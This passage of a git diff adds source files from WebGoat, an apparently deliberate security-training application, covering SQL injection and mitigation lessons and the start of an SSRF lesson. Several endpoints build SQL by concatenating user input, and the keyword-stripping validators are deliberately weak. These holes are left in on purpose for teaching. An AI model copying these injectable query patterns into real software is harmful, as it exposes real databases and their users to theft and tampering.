Your query was: " + + queryString.replace("?", login_count)) + .build(); + } + + query.setInt(1, count); + // String query = "SELECT * FROM user_data WHERE Login_Count = " + login_count + " and userid + // = " + accountName, ; + try { + ResultSet results = query.executeQuery(); + + if ((results != null) && (results.first() == true)) { + ResultSetMetaData resultsMetaData = results.getMetaData(); + StringBuilder output = new StringBuilder(); + + output.append(SqlInjectionLesson5a.writeTable(results, resultsMetaData)); + results.last(); + + // If they get back more than one user they succeeded + if (results.getRow() >= 6) { + return success(this) + .feedback("sql-injection.5b.success") + .output("Your query was: " + queryString.replace("?", login_count)) + .feedbackArgs(output.toString()) + .build(); + } else { + return failed(this) + .output( + output.toString() + + "
Your query was: " + + queryString.replace("?", login_count)) + .build(); + } + + } else { + return failed(this) + .feedback("sql-injection.5b.no.results") + .output("Your query was: " + queryString.replace("?", login_count)) + .build(); + } + } catch (SQLException sqle) { + + return failed(this) + .output( + sqle.getMessage() + "
Your query was: " + queryString.replace("?", login_count)) + .build(); + } + } catch (Exception e) { + return failed(this) + .output( + this.getClass().getName() + + " : " + + e.getMessage() + + "
Your query was: " + + queryString.replace("?", login_count)) + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java new file mode 100644 index 000000000..ae7fbb9f4 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson8.java @@ -0,0 +1,163 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static java.sql.ResultSet.CONCUR_UPDATABLE; +import static java.sql.ResultSet.TYPE_SCROLL_SENSITIVE; + +import java.sql.*; +import java.text.SimpleDateFormat; +import java.util.Calendar; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint.8.1", + "SqlStringInjectionHint.8.2", + "SqlStringInjectionHint.8.3", + "SqlStringInjectionHint.8.4", + "SqlStringInjectionHint.8.5" + }) +public class SqlInjectionLesson8 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson8(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack8") + @ResponseBody + public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) { + return injectableQueryConfidentiality(name, auth_tan); + } + + protected AttackResult injectableQueryConfidentiality(String name, String auth_tan) { + StringBuilder output = new StringBuilder(); + String query = + "SELECT * FROM employees WHERE last_name = '" + + name + + "' AND auth_tan = '" + + auth_tan + + "'"; + + try (Connection connection = dataSource.getConnection()) { + try { + Statement statement = + connection.createStatement( + ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_UPDATABLE); + log(connection, query); + ResultSet results = statement.executeQuery(query); + + if (results.getStatement() != null) { + if (results.first()) { + output.append(generateTable(results)); + results.last(); + + if (results.getRow() > 1) { + // more than one record, the user succeeded + return success(this) + .feedback("sql-injection.8.success") + .output(output.toString()) + .build(); + } else { + // only one record + return failed(this).feedback("sql-injection.8.one").output(output.toString()).build(); + } + + } else { + // no results + return failed(this).feedback("sql-injection.8.no.results").build(); + } + } else { + return failed(this).build(); + } + } catch (SQLException e) { + return failed(this) + .output("
") + .build(); + } + + } catch (Exception e) { + return failed(this) + .output("
") + .build(); + } + } + + public static String generateTable(ResultSet results) throws SQLException { + ResultSetMetaData resultsMetaData = results.getMetaData(); + int numColumns = resultsMetaData.getColumnCount(); + results.beforeFirst(); + StringBuilder table = new StringBuilder(); + table.append(""); + + if (results.next()) { + table.append(""); + for (int i = 1; i < (numColumns + 1); i++) { + table.append(""); + } + table.append(""); + + results.beforeFirst(); + while (results.next()) { + table.append(""); + for (int i = 1; i < (numColumns + 1); i++) { + table.append(""); + } + table.append(""); + } + + } else { + table.append("Query Successful; however no data was returned from this query."); + } + + table.append("
" + resultsMetaData.getColumnName(i) + "
" + results.getString(i) + "
"); + return (table.toString()); + } + + public static void log(Connection connection, String action) { + action = action.replace('\'', '"'); + Calendar cal = Calendar.getInstance(); + SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String time = sdf.format(cal.getTime()); + + String logQuery = + "INSERT INTO access_log (time, action) VALUES ('" + time + "', '" + action + "')"; + + try { + Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); + statement.executeUpdate(logQuery); + } catch (SQLException e) { + System.err.println(e.getMessage()); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java new file mode 100644 index 000000000..3df08175a --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/introduction/SqlInjectionLesson9.java @@ -0,0 +1,128 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.introduction; + +import static org.hsqldb.jdbc.JDBCResultSet.CONCUR_UPDATABLE; +import static org.hsqldb.jdbc.JDBCResultSet.TYPE_SCROLL_SENSITIVE; + +import java.sql.Connection; +import java.sql.ResultSet; +import java.sql.SQLException; +import java.sql.Statement; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint.9.1", + "SqlStringInjectionHint.9.2", + "SqlStringInjectionHint.9.3", + "SqlStringInjectionHint.9.4", + "SqlStringInjectionHint.9.5" + }) +public class SqlInjectionLesson9 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson9(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjection/attack9") + @ResponseBody + public AttackResult completed(@RequestParam String name, @RequestParam String auth_tan) { + return injectableQueryIntegrity(name, auth_tan); + } + + protected AttackResult injectableQueryIntegrity(String name, String auth_tan) { + StringBuilder output = new StringBuilder(); + String query = + "SELECT * FROM employees WHERE last_name = '" + + name + + "' AND auth_tan = '" + + auth_tan + + "'"; + try (Connection connection = dataSource.getConnection()) { + try { + Statement statement = connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); + SqlInjectionLesson8.log(connection, query); + ResultSet results = statement.executeQuery(query); + var test = results.getRow() != 0; + if (results.getStatement() != null) { + if (results.first()) { + output.append(SqlInjectionLesson8.generateTable(results)); + } else { + // no results + return failed(this).feedback("sql-injection.8.no.results").build(); + } + } + } catch (SQLException e) { + System.err.println(e.getMessage()); + return failed(this) + .output("
") + .build(); + } + + return checkSalaryRanking(connection, output); + + } catch (Exception e) { + System.err.println(e.getMessage()); + return failed(this) + .output("
") + .build(); + } + } + + private AttackResult checkSalaryRanking(Connection connection, StringBuilder output) { + try { + String query = "SELECT * FROM employees ORDER BY salary DESC"; + try (Statement statement = + connection.createStatement(TYPE_SCROLL_SENSITIVE, CONCUR_UPDATABLE); ) { + ResultSet results = statement.executeQuery(query); + + results.first(); + // user completes lesson if John Smith is the first in the list + if ((results.getString(2).equals("John")) && (results.getString(3).equals("Smith"))) { + output.append(SqlInjectionLesson8.generateTable(results)); + return success(this) + .feedback("sql-injection.9.success") + .output(output.toString()) + .build(); + } else { + return failed(this).feedback("sql-injection.9.one").output(output.toString()).build(); + } + } + } catch (SQLException e) { + return failed(this) + .output("
") + .build(); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java new file mode 100644 index 000000000..083e57061 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/Servers.java @@ -0,0 +1,93 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import java.util.ArrayList; +import java.util.List; +import lombok.AllArgsConstructor; +import lombok.Getter; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +/** + * @author nbaars + * @since 6/13/17. + */ +@RestController +@RequestMapping("SqlInjectionMitigations/servers") +@Slf4j +public class Servers { + + private final LessonDataSource dataSource; + + @AllArgsConstructor + @Getter + private class Server { + + private String id; + private String hostname; + private String ip; + private String mac; + private String status; + private String description; + } + + public Servers(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @GetMapping(produces = MediaType.APPLICATION_JSON_VALUE) + @ResponseBody + public List sort(@RequestParam String column) throws Exception { + List servers = new ArrayList<>(); + + try (var connection = dataSource.getConnection()) { + try (var statement = + connection.prepareStatement( + "select id, hostname, ip, mac, status, description from SERVERS where status <> 'out" + + " of order' order by " + + column)) { + try (var rs = statement.executeQuery()) { + while (rs.next()) { + Server server = + new Server( + rs.getString(1), + rs.getString(2), + rs.getString(3), + rs.getString(4), + rs.getString(5), + rs.getString(6)); + servers.add(server); + } + } + } + } + return servers; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java new file mode 100644 index 000000000..fbe551427 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10a.java @@ -0,0 +1,70 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@Slf4j +@AssignmentHints( + value = {"SqlStringInjectionHint-mitigation-10a-1", "SqlStringInjectionHint-mitigation-10a-2"}) +public class SqlInjectionLesson10a extends AssignmentEndpoint { + + private String[] results = { + "getConnection", "PreparedStatement", "prepareStatement", "?", "?", "setString", "setString" + }; + + @PostMapping("/SqlInjectionMitigations/attack10a") + @ResponseBody + public AttackResult completed( + @RequestParam String field1, + @RequestParam String field2, + @RequestParam String field3, + @RequestParam String field4, + @RequestParam String field5, + @RequestParam String field6, + @RequestParam String field7) { + String[] userInput = {field1, field2, field3, field4, field5, field6, field7}; + int position = 0; + boolean completed = false; + for (String input : userInput) { + if (input.toLowerCase().contains(this.results[position].toLowerCase())) { + completed = true; + } else { + return failed(this).build(); + } + position++; + } + if (completed) { + return success(this).build(); + } + return failed(this).build(); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java new file mode 100644 index 000000000..325d376bb --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson10b.java @@ -0,0 +1,154 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import java.io.IOException; +import java.net.URI; +import java.util.Arrays; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; +import javax.tools.Diagnostic; +import javax.tools.DiagnosticCollector; +import javax.tools.JavaCompiler; +import javax.tools.JavaFileObject; +import javax.tools.SimpleJavaFileObject; +import javax.tools.StandardJavaFileManager; +import javax.tools.ToolProvider; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint-mitigation-10b-1", + "SqlStringInjectionHint-mitigation-10b-2", + "SqlStringInjectionHint-mitigation-10b-3", + "SqlStringInjectionHint-mitigation-10b-4", + "SqlStringInjectionHint-mitigation-10b-5" + }) +public class SqlInjectionLesson10b extends AssignmentEndpoint { + + @PostMapping("/SqlInjectionMitigations/attack10b") + @ResponseBody + public AttackResult completed(@RequestParam String editor) { + try { + if (editor.isEmpty()) return failed(this).feedback("sql-injection.10b.no-code").build(); + + editor = editor.replaceAll("\\<.*?>", ""); + + String regexSetsUpConnection = "(?=.*getConnection.*)"; + String regexUsesPreparedStatement = "(?=.*PreparedStatement.*)"; + String regexUsesPlaceholder = "(?=.*\\=\\?.*|.*\\=\\s\\?.*)"; + String regexUsesSetString = "(?=.*setString.*)"; + String regexUsesExecute = "(?=.*execute.*)"; + String regexUsesExecuteUpdate = "(?=.*executeUpdate.*)"; + + String codeline = editor.replace("\n", "").replace("\r", ""); + + boolean setsUpConnection = this.check_text(regexSetsUpConnection, codeline); + boolean usesPreparedStatement = this.check_text(regexUsesPreparedStatement, codeline); + boolean usesSetString = this.check_text(regexUsesSetString, codeline); + boolean usesPlaceholder = this.check_text(regexUsesPlaceholder, codeline); + boolean usesExecute = this.check_text(regexUsesExecute, codeline); + boolean usesExecuteUpdate = this.check_text(regexUsesExecuteUpdate, codeline); + + boolean hasImportant = + (setsUpConnection + && usesPreparedStatement + && usesPlaceholder + && usesSetString + && (usesExecute || usesExecuteUpdate)); + List hasCompiled = this.compileFromString(editor); + + if (hasImportant && hasCompiled.size() < 1) { + return success(this).feedback("sql-injection.10b.success").build(); + } else if (hasCompiled.size() > 0) { + String errors = ""; + for (Diagnostic d : hasCompiled) { + errors += d.getMessage(null) + "
"; + } + return failed(this).feedback("sql-injection.10b.compiler-errors").output(errors).build(); + } else { + return failed(this).feedback("sql-injection.10b.failed").build(); + } + } catch (Exception e) { + return failed(this).output(e.getMessage()).build(); + } + } + + private List compileFromString(String s) { + JavaCompiler compiler = ToolProvider.getSystemJavaCompiler(); + DiagnosticCollector diagnosticsCollector = new DiagnosticCollector(); + StandardJavaFileManager fileManager = + compiler.getStandardFileManager(diagnosticsCollector, null, null); + JavaFileObject javaObjectFromString = getJavaFileContentsAsString(s); + Iterable fileObjects = Arrays.asList(javaObjectFromString); + JavaCompiler.CompilationTask task = + compiler.getTask(null, fileManager, diagnosticsCollector, null, null, fileObjects); + Boolean result = task.call(); + List diagnostics = diagnosticsCollector.getDiagnostics(); + return diagnostics; + } + + private SimpleJavaFileObject getJavaFileContentsAsString(String s) { + StringBuilder javaFileContents = + new StringBuilder( + "import java.sql.*; public class TestClass { static String DBUSER; static String DBPW;" + + " static String DBURL; public static void main(String[] args) {" + + s + + "}}"); + JavaObjectFromString javaFileObject = null; + try { + javaFileObject = new JavaObjectFromString("TestClass.java", javaFileContents.toString()); + } catch (Exception exception) { + exception.printStackTrace(); + } + return javaFileObject; + } + + class JavaObjectFromString extends SimpleJavaFileObject { + private String contents = null; + + public JavaObjectFromString(String className, String contents) throws Exception { + super(new URI(className), Kind.SOURCE); + this.contents = contents; + } + + public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException { + return contents; + } + } + + private boolean check_text(String regex, String text) { + Pattern p = Pattern.compile(regex, Pattern.CASE_INSENSITIVE); + Matcher m = p.matcher(text); + if (m.find()) return true; + else return false; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java new file mode 100644 index 000000000..453f0e3e1 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionLesson13.java @@ -0,0 +1,74 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.SQLException; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.container.LessonDataSource; +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlStringInjectionHint-mitigation-13-1", + "SqlStringInjectionHint-mitigation-13-2", + "SqlStringInjectionHint-mitigation-13-3", + "SqlStringInjectionHint-mitigation-13-4" + }) +@Slf4j +public class SqlInjectionLesson13 extends AssignmentEndpoint { + + private final LessonDataSource dataSource; + + public SqlInjectionLesson13(LessonDataSource dataSource) { + this.dataSource = dataSource; + } + + @PostMapping("/SqlInjectionMitigations/attack12a") + @ResponseBody + public AttackResult completed(@RequestParam String ip) { + try (Connection connection = dataSource.getConnection(); + PreparedStatement preparedStatement = + connection.prepareStatement("select ip from servers where ip = ? and hostname = ?")) { + preparedStatement.setString(1, ip); + preparedStatement.setString(2, "webgoat-prd"); + ResultSet resultSet = preparedStatement.executeQuery(); + if (resultSet.next()) { + return success(this).build(); + } + return failed(this).build(); + } catch (SQLException e) { + log.error("Failed", e); + return (failed(this).build()); + } + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java new file mode 100644 index 000000000..8ed3e0c1b --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlInjectionMitigations.java @@ -0,0 +1,40 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +@Component +public class SqlInjectionMitigations extends Lesson { + @Override + public Category getDefaultCategory() { + return Category.A3; + } + + @Override + public String getTitle() { + return "3.sql.mitigation.title"; + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java new file mode 100644 index 000000000..4cfec6337 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidation.java @@ -0,0 +1,59 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = {"SqlOnlyInputValidation-1", "SqlOnlyInputValidation-2", "SqlOnlyInputValidation-3"}) +public class SqlOnlyInputValidation extends AssignmentEndpoint { + + private final SqlInjectionLesson6a lesson6a; + + public SqlOnlyInputValidation(SqlInjectionLesson6a lesson6a) { + this.lesson6a = lesson6a; + } + + @PostMapping("/SqlOnlyInputValidation/attack") + @ResponseBody + public AttackResult attack(@RequestParam("userid_sql_only_input_validation") String userId) { + if (userId.contains(" ")) { + return failed(this).feedback("SqlOnlyInputValidation-failed").build(); + } + AttackResult attackResult = lesson6a.injectableQuery(userId); + return new AttackResult( + attackResult.isLessonCompleted(), + attackResult.getFeedback(), + attackResult.getOutput(), + getClass().getSimpleName(), + true); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java new file mode 100644 index 000000000..3a324bc65 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/sqlinjection/mitigation/SqlOnlyInputValidationOnKeywords.java @@ -0,0 +1,65 @@ +/* + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2019 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under the terms of the + * GNU General Public License as published by the Free Software Foundation; either version 2 of the + * License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without + * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public License along with this program; if + * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA + * 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects. + */ + +package org.owasp.webgoat.lessons.sqlinjection.mitigation; + +import org.owasp.webgoat.container.assignments.AssignmentEndpoint; +import org.owasp.webgoat.container.assignments.AssignmentHints; +import org.owasp.webgoat.container.assignments.AttackResult; +import org.owasp.webgoat.lessons.sqlinjection.advanced.SqlInjectionLesson6a; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +@RestController +@AssignmentHints( + value = { + "SqlOnlyInputValidationOnKeywords-1", + "SqlOnlyInputValidationOnKeywords-2", + "SqlOnlyInputValidationOnKeywords-3" + }) +public class SqlOnlyInputValidationOnKeywords extends AssignmentEndpoint { + + private final SqlInjectionLesson6a lesson6a; + + public SqlOnlyInputValidationOnKeywords(SqlInjectionLesson6a lesson6a) { + this.lesson6a = lesson6a; + } + + @PostMapping("/SqlOnlyInputValidationOnKeywords/attack") + @ResponseBody + public AttackResult attack( + @RequestParam("userid_sql_only_input_validation_on_keywords") String userId) { + userId = userId.toUpperCase().replace("FROM", "").replace("SELECT", ""); + if (userId.contains(" ")) { + return failed(this).feedback("SqlOnlyInputValidationOnKeywords-failed").build(); + } + AttackResult attackResult = lesson6a.injectableQuery(userId); + return new AttackResult( + attackResult.isLessonCompleted(), + attackResult.getFeedback(), + attackResult.getOutput(), + getClass().getSimpleName(), + true); + } +} diff --git a/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java new file mode 100644 index 000000000..7a4d788d2 --- /dev/null +++ b/src/main/java/org/owasp/webgoat/lessons/ssrf/SSRF.java @@ -0,0 +1,48 @@ +package org.owasp.webgoat.lessons.ssrf; + +import org.owasp.webgoat.container.lessons.Category; +import org.owasp.webgoat.container.lessons.Lesson; +import org.springframework.stereotype.Component; + +/** + * ************************************************************************************************ + * This file is part of WebGoat, an Open Web Application Security Project utility. For details, + * please see http://www.owasp.org/ + * + *

Copyright (c) 2002 - 2014 Bruce Mayhew + * + *

